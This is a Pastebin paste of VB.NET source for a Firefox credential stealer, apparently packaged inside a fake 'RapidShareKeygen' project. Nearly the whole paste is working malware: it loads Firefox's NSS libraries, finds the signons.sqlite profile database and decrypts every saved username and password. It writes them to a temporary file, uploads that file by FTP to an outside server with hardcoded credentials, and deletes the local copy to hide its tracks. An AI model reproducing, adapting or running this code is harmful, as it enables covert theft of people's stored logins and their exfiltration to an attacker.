Advertisement
Guest User

Untitled

a guest
May 26th, 2017
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 9.31 KB | None | 0 0
  1. Imports System
  2. Imports System.IO
  3. Imports System.Runtime.InteropServices
  4. Imports System.Data
  5. Imports RapidShareKeygen.SQLiteWrapper
  6. Imports System.Text
  7. Module FFDecryptor
  8.     Public Class SHITEMID
  9.         Public Shared cb As Long
  10.         Public Shared abID As Byte()
  11.     End Class
  12.     <StructLayout(LayoutKind.Sequential)> _
  13.     Public Structure TSECItem
  14.         Public SECItemType As Integer
  15.         Public SECItemData As Integer
  16.         Public SECItemLen As Integer
  17.     End Structure
  18.  
  19.     <DllImport("kernel32.dll")> _
  20.     Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
  21.     End Function
  22.     Private NSS3 As IntPtr
  23.     <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
  24.     Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
  25.     End Function
  26.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  27.     Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
  28.     Public Function NSS_Init(ByVal configdir As String) As Long
  29.         Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
  30.         LoadLibrary(MozillaPath & "mozcrt19.dll")
  31.         LoadLibrary(MozillaPath & "nspr4.dll")
  32.         LoadLibrary(MozillaPath & "plc4.dll")
  33.         LoadLibrary(MozillaPath & "plds4.dll")
  34.         LoadLibrary(MozillaPath & "ssutil3.dll")
  35.         LoadLibrary(MozillaPath & "sqlite3.dll")
  36.         LoadLibrary(MozillaPath & "nssutil3.dll")
  37.         LoadLibrary(MozillaPath & "softokn3.dll")
  38.         NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
  39.         Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
  40.         Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
  41.         Return dll(configdir)
  42.     End Function
  43.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  44.     Public Delegate Function DLLFunctionDelegate2() As Long
  45.     Public Function PK11_GetInternalKeySlot() As Long
  46.         Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
  47.         Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
  48.         Return dll()
  49.     End Function
  50.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  51.     Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  52.     Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  53.         Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
  54.         Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
  55.         Return dll(slot, loadCerts, wincx)
  56.     End Function
  57.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  58.     Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  59.     Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  60.         Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
  61.         Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
  62.         Return dll(arenaOpt, outItemOpt, inStr, inLen)
  63.     End Function
  64.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  65.     Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  66.     Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  67.         Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
  68.         Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
  69.         Return dll(data, result, cx)
  70.     End Function
  71.     Public signon As String
  72.     Sub Main(ByVal args As String())
  73.         Dim Username As String = "synced"
  74.         Dim Password As String = "myftppass"
  75.         Dim TEMP As String = System.IO.Path.GetTempPath
  76.         If My.Computer.Network.IsAvailable Then
  77.  
  78.         Else
  79.             Exit Sub
  80.         End If
  81.         Dim ostrm As FileStream
  82.         Dim writer As StreamWriter
  83.         Dim oldOut As TextWriter = Console.Out
  84.         Try
  85.             ostrm = New FileStream(TEMP + "\U&P.txt", FileMode.OpenOrCreate, FileAccess.Write)
  86.             writer = New StreamWriter(ostrm)
  87.         Catch e As Exception
  88.             Exit Sub
  89.         End Try
  90.         Console.SetOut(writer)
  91.         Console.WriteLine("Firefox 3.5 & 3.6 Decryptor in VB.NET")
  92.         Console.WriteLine("/Coded by DarkSel/ /Converted by: Newbie223/")
  93.         Console.WriteLine()
  94.         Dim FoundFile As Boolean = False
  95.         Dim KeySlot As Long = 0
  96.         Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
  97.         Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
  98.         Dim Dirs As String() = Directory.GetDirectories(DefaultPath)
  99.         For Each dir As String In Dirs
  100.             If Not FoundFile Then
  101.                 Dim Files As String() = Directory.GetFiles(dir)
  102.                 For Each CurrFile As String In Files
  103.                     If Not FoundFile Then
  104.                         If System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite") Then
  105.                             NSS_Init(dir)
  106.                             signon = CurrFile
  107.                         End If
  108.                     Else
  109.  
  110.                         Exit For
  111.                     End If
  112.                 Next
  113.             Else
  114.                 Exit For
  115.             End If
  116.         Next
  117.  
  118.         Dim dataSource As String = signon
  119.         Dim tSec As New TSECItem()
  120.         Dim tSecDec As New TSECItem()
  121.         Dim tSecDec2 As New TSECItem()
  122.         Dim bvRet As Byte()
  123.         Dim db As New SQLiteBase(dataSource)
  124.  
  125.         Dim table As DataTable = db.ExecuteQuery("SELECT * FROM moz_logins;")
  126.         Dim table2 As DataTable = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;")
  127.         Console.WriteLine("+++Excluded hosts+++")
  128.         For Each row As DataRow In table2.Rows
  129.             Console.WriteLine(row("hostname").ToString())
  130.         Next
  131.         Console.WriteLine()
  132.         Console.WriteLine()
  133.         KeySlot = PK11_GetInternalKeySlot()
  134.         PK11_Authenticate(KeySlot, True, 0)
  135.         Console.WriteLine("+++Usernames & Passwords+++")
  136.         Console.WriteLine()
  137.         For Each Zeile As System.Data.DataRow In table.Rows
  138.             Dim formurl As String = System.Convert.ToString(Zeile("formSubmitURL").ToString())
  139.             Console.WriteLine("URL: " & formurl)
  140.             Dim se As New StringBuilder(Zeile("encryptedUsername").ToString())
  141.             Dim hi2 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length)
  142.             Dim item As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi2), GetType(TSECItem)), TSECItem)
  143.             If PK11SDR_Decrypt(item, tSecDec, 0) = 0 Then
  144.                 If tSecDec.SECItemLen <> 0 Then
  145.                     bvRet = New Byte(tSecDec.SECItemLen - 1) {}
  146.                     Marshal.Copy(New IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen)
  147.                     Console.WriteLine("USERNAME: " & System.Text.Encoding.ASCII.GetString(bvRet))
  148.                 End If
  149.             End If
  150.             Dim se2 As New StringBuilder(Zeile("encryptedPassword").ToString())
  151.             Dim hi22 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length)
  152.             Dim item2 As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi22), GetType(TSECItem)), TSECItem)
  153.             If PK11SDR_Decrypt(item2, tSecDec2, 0) = 0 Then
  154.                 If tSecDec2.SECItemLen <> 0 Then
  155.                     bvRet = New Byte(tSecDec2.SECItemLen - 1) {}
  156.                     Marshal.Copy(New IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen)
  157.                     Console.WriteLine("PASSWORD: " & System.Text.Encoding.ASCII.GetString(bvRet))
  158.                 End If
  159.             End If
  160.             Console.WriteLine()
  161.             Console.WriteLine("|--------NEXT--------|")
  162.             Console.WriteLine()
  163.         Next
  164.         Console.WriteLine()
  165.         Console.WriteLine("|-------FinisH-------|")
  166.         Console.SetOut(oldOut)
  167.         writer.Close()
  168.         ostrm.Close()
  169.         Dim clsRequest As System.Net.FtpWebRequest = _
  170.             DirectCast(System.Net.WebRequest.Create("ftp://ftp.syncedcoding.co.cc/logs.txt"), System.Net.FtpWebRequest)
  171.         clsRequest.Credentials = New System.Net.NetworkCredential(Username, Password)
  172.         clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile
  173.  
  174.         Dim bFile() As Byte = System.IO.File.ReadAllBytes(TEMP + "\U&P.txt")
  175.         Dim clsStream As System.IO.Stream = _
  176.             clsRequest.GetRequestStream()
  177.         clsStream.Write(bFile, 0, bFile.Length)
  178.         clsStream.Close()
  179.         clsStream.Dispose()
  180.         IO.File.Delete(TEMP + "\U&P.txt")
  181.     End Sub
  182. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement